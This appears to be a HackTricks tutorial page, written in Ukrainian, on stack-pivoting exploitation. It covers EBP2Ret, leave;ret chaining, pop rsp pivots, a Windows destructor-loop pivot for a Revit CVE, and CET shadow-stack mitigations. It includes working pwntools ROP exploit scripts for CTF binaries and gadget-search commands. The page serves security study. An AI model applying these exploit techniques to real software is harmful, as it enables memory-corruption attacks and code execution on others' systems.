Stack Pivoting - EBP2Ret - EBP chaining

Reading time: 13 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Основна інформація

Ця техніка використовує здатність маніпулювати Base Pointer (EBP/RBP) для ланцюгового виконання кількох функцій шляхом ретельного використання вказівника кадру та послідовності інструкцій leave; ret.

Нагадаю, на x86/x86-64 leave еквівалентна:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86
ret

Оскільки збережений EBP/RBP знаходиться в стеку перед збереженим EIP/RIP, його можна контролювати, контролюючи стек.

Notes

  • На 64-бітних системах замініть EBP→RBP і ESP→RSP. Семантика та сама.
  • Деякі компілятори опускають frame pointer (див. “EBP might not be used”). У такому випадку leave може не з'являтися й ця техніка не спрацює.

EBP2Ret

Ця техніка особливо корисна, коли ви можете змінити збережений EBP/RBP, але не маєте прямого способу змінити EIP/RIP. Вона використовує поведінку епілогу функції.

Якщо під час виконання fvuln вам вдасться інжектити fake EBP у стек, який вказує на область пам'яті, де розташовано адресу вашого shellcode/ROP chain (плюс 8 байт на amd64 / 4 байти на x86, щоб врахувати pop), ви можете опосередковано контролювати RIP. Коли функція повертає, leave встановлює RSP на створене місце, а наступний pop rbp зменшує RSP, фактично змушуючи його вказувати на адресу, записану там атакуючим. Потім ret використає цю адресу.

Зауважте, що вам потрібно знати 2 адреси: адресу, куди вкаже ESP/RSP, і значення, збережене за цією адресою, яке ret витягне.

Exploit Construction

Спершу вам потрібно знати адресу, куди ви можете записати довільні дані/адреси. RSP вкаже сюди і споживе перший ret.

Далі потрібно вибрати адресу, яку ret використає для переміщення виконання. Ви можете використати:

  • Коректну ONE_GADGET адресу.
  • Адресу system(), після якої йдуть відповідний return та аргументи (на x86: ret target = &system, потім 4 непотрібні байти, потім &"/bin/sh").
  • Адресу jmp esp; gadget (ret2esp) з наступним inline shellcode.
  • ROP chain, розташований у пам'яті, доступній для запису.

Пам'ятайте, що перед будь-якою з цих адрес у контрольованій області має бути місце для pop ebp/rbp з leave (8B на amd64, 4B на x86). Ви можете використати ці байти, щоб встановити другий fake EBP і зберегти контроль після повернення першого виклику.

Off-By-One Exploit

Існує варіант, який використовується, коли ви можете змінити лише найменш значущий байт збереженого EBP/RBP. У такому випадку місце в пам'яті, яке містить адресу для переходу через ret, має співпадати в перших трьох/п'яти байтах з оригінальним EBP/RBP, щоб 1-байтове перезаписування могло перенаправити його. Зазвичай низький байт (зсув 0x00) збільшується, щоб перескочити якомога далі в межах сусідньої сторінки/вирівняного регіону.

Також часто використовують RET sled у стеку і розміщують реальний ROP chain в кінці, щоб підвищити ймовірність того, що новий RSP вкаже всередину sled і фінальний ROP chain буде виконаний.

EBP Chaining

Розмістивши контрольовану адресу в слоті збереженого EBP у стеку та gadget leave; ret в EIP/RIP, можна перемістити ESP/RSP на адресу, контрольовану атакуючим.

Тепер RSP контрольований, і наступна інструкція — ret. Помістіть у контрольованій пам'яті щось на кшталт:

  • &(next fake EBP) -> Завантажується pop ebp/rbp з leave.
  • &system() -> Викликається ret.
  • &(leave;ret) -> Після завершення system переміщує RSP до наступного fake EBP і продовжує.
  • &("/bin/sh") -> Аргумент для system.

Таким чином можна послідовно зв'язати кілька fake EBP, щоб контролювати потік виконання програми.

Це схоже на ret2lib, але складніше і корисне лише в крайніх випадках.

Більше того, тут є приклад завдання, який використовує цю техніку з stack leak для виклику winning function. Ось фінальний payload зі сторінки:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

amd64 порада щодо вирівнювання: System V ABI вимагає 16-байтового вирівнювання стеку в місцях виклику. Якщо ваш chain викликає функції, такі як system, додайте alignment gadget (наприклад, ret, або sub rsp, 8 ; ret) перед викликом, щоб зберегти вирівнювання і уникнути крашів через movaps.

EBP може не використовуватися

As explained in this post, якщо бінар скомпільовано з деякими оптимізаціями або з frame-pointer omission, то EBP/RBP ніколи не контролює ESP/RSP. Тому будь-який exploit, що працює шляхом контролю EBP/RBP, зазнає невдачі, оскільки prologue/epilogue не відновлюють зі frame pointer.

  • Не оптимізовано / використовується frame pointer:
bash
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Оптимізовано / frame pointer опущено:
bash
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

On amd64 ви часто побачите pop rbp ; ret замість leave ; ret, але якщо frame pointer повністю опущено, то немає rbp-based epilogue, через який можна виконати pivot.

Інші способи контролю RSP

pop rsp gadget

In this page ви можете знайти приклад використання цієї техніки. Для того завдання потрібно було викликати функцію з 2 конкретними аргументами, і там був pop rsp gadget і був leak from the stack:

python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Перевірте техніку ret2esp тут:

Ret2esp / Ret2reg

Швидкий пошук pivot-ґаджетів

Використовуйте ваш улюблений gadget finder для пошуку класичних pivot-примітивів:

  • leave ; ret on functions or in libraries
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (or add esp, <imm> ; ret on x86)

Приклади:

bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Класичний pivot staging pattern

Надійна pivot-стратегія, що використовується у багатьох CTFs/exploits:

  1. Використайте невеликий початковий overflow, щоб викликати read/recv у великий записуваний регіон (наприклад, .bss, heap або mapped RW memory) і розмістити там повний ROP chain.
  2. Поверніться в pivot gadget (leave ; ret, pop rsp, xchg rax, rsp ; ret), щоб перемістити RSP у цей регіон.
  3. Продовжуйте зі staged chain (наприклад, leak libc, викликати mprotect, потім read shellcode, а потім перейти до нього).

Windows: Destructor-loop weird-machine pivots (аналіз випадку Revit RFA)

Клієнтські парсери іноді реалізують destructor loops, які опосередковано викликають function pointer, отриманий з attacker-controlled полів об'єкта. Якщо кожна ітерація пропонує рівно один indirect call (a “one-gadget” machine), це можна перетворити на надійний stack pivot та ROP entry.

Спостерігалося в Autodesk Revit RFA deserialization (CVE-2025-5037):

  • Спеціально сформовані об'єкти типу AString розміщують pointer на attacker bytes в оффсеті 0.
  • Деструкторний цикл фактично виконує по одному gadget на об'єкт:
asm
rcx = [rbx]              ; object pointer (AString*)
rax = [rcx]              ; pointer to controlled buffer
call qword ptr [rax]     ; execute [rax] once per object

Два практичні pivots:

  • Windows 10 (32-bit heap addrs): нерівно вирівняний “monster gadget”, який містить 8B E0mov esp, eax, згодом ret, щоб переключитися від call primitive до heap-based ROP chain.
  • Windows 11 (full 64-bit addrs): використовувати два об'єкти, щоб керувати constrained weird-machine pivot:
    • Gadget 1: push rax ; pop rbp ; ret (перемістити оригінальний rax у rbp)
    • Gadget 2: leave ; ... ; ret (стає mov rsp, rbp ; pop rbp ; ret), що робить pivot у буфер першого об'єкта, де слідує звичайний ROP chain.

Поради для Windows x64 після pivot:

  • Дотримуйтеся 0x20-байтного shadow space і підтримуйте 16-байтне вирівнювання перед call-викликами. Часто зручно розміщувати літерали над адресою повернення і використовувати гаджет типу lea rcx, [rsp+0x20] ; call rax, а потім pop rax ; ret, щоб передавати стекові адреси без корупції керування виконанням.
  • Non-ASLR helper modules (якщо присутні) забезпечують стабільні набори гаджетів і імпорти, такі як LoadLibraryW/GetProcAddress, щоб динамічно розв’язувати цілі типу ucrtbase!system.
  • Створення відсутніх гаджетів через writable thunk: якщо перспективна послідовність закінчується call через записуваний функціональний вказівник (наприклад, DLL import thunk або вказівник у .data), перезапишіть цей вказівник на нешкідливий single-step, як-от pop rax ; ret. Тоді послідовність поводитиметься так, ніби вона закінчувалася ret (наприклад, mov rdx, rsi ; mov rcx, rdi ; ret), що надзвичайно корисно для завантаження аргументних регістрів Windows x64 без пошкодження інших.

Для повного побудови ланцюга та прикладів гаджетів див. посилання нижче.

Modern mitigations that break stack pivoting (CET/Shadow Stack)

Сучасні x86 CPU та ОС дедалі частіше впроваджують CET Shadow Stack (SHSTK). З увімкненим SHSTK, ret порівнює адресу повернення в звичайному стеку з захищеним апаратно shadow stack; будь-яка невідповідність викликає Control-Protection fault і завершує процес. Тому техніки на кшталт EBP2Ret/leave;ret-based pivots призведуть до аварійного завершення одразу після першого ret, виконаного зі зсунутого стеку.

  • For background and deeper details see:

CET & Shadow Stack

  • Quick checks on Linux:
bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • Примітки для лабораторій/CTF:

  • Деякі сучасні дистрибутиви вмикають SHSTK для CET-enabled бінарників, коли доступне апаратне забезпечення і glibc. Для контрольованого тестування у VM, SHSTK можна вимкнути системно через kernel boot parameter nousershstk, або вибірково вмикати через glibc tunables під час старту (див. посилання). Не вимикайте механізми захисту на продуктивних системах.

  • JOP/COOP або SROP-based техніки можуть все ще бути здійсненними на деяких цілях, але SHSTK конкретно ламає ret-based pivots.

  • Примітка для Windows: Windows 10+ відкриває user-mode, а Windows 11 додає kernel-mode “Hardware-enforced Stack Protection”, побудований на shadow stacks. CET-compatible процеси перешкоджають stack pivoting/ROP на ret; розробники підключають підтримку через CETCOMPAT та пов’язані політики (див. посилання).

ARM64

В ARM64 прологи та епілоги функцій не зберігають і не відновлюють регістр SP у стеку. Більше того, інструкція RET повертає не за адресою, на яку вказує SP, а за адресою в x30.

Тому за замовчуванням, просто використовуючи епілог, ви не зможете контролювати регістр SP, перезаписуючи якісь дані в стеку. І навіть якщо вам вдасться контролювати SP, вам все одно знадобиться спосіб контролювати x30.

  • prologue
armasm
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP points to frame record
  • epilogue
armasm
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

caution

Шлях виконати щось подібне до stack pivoting в ARM64 — це мати можливість контролювати SP (керуючи якимось регістром, значення якого потім присвоюють SP, або через те, що з якоїсь причини SP бере свою адресу зі стеку і ми маємо overflow), а потім зловживати епілогом, щоб завантажити регістр x30 з контрольованого SP і RET до нього.

Також на наступній сторінці можна побачити еквівалент Ret2esp в ARM64:

Ret2esp / Ret2reg

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks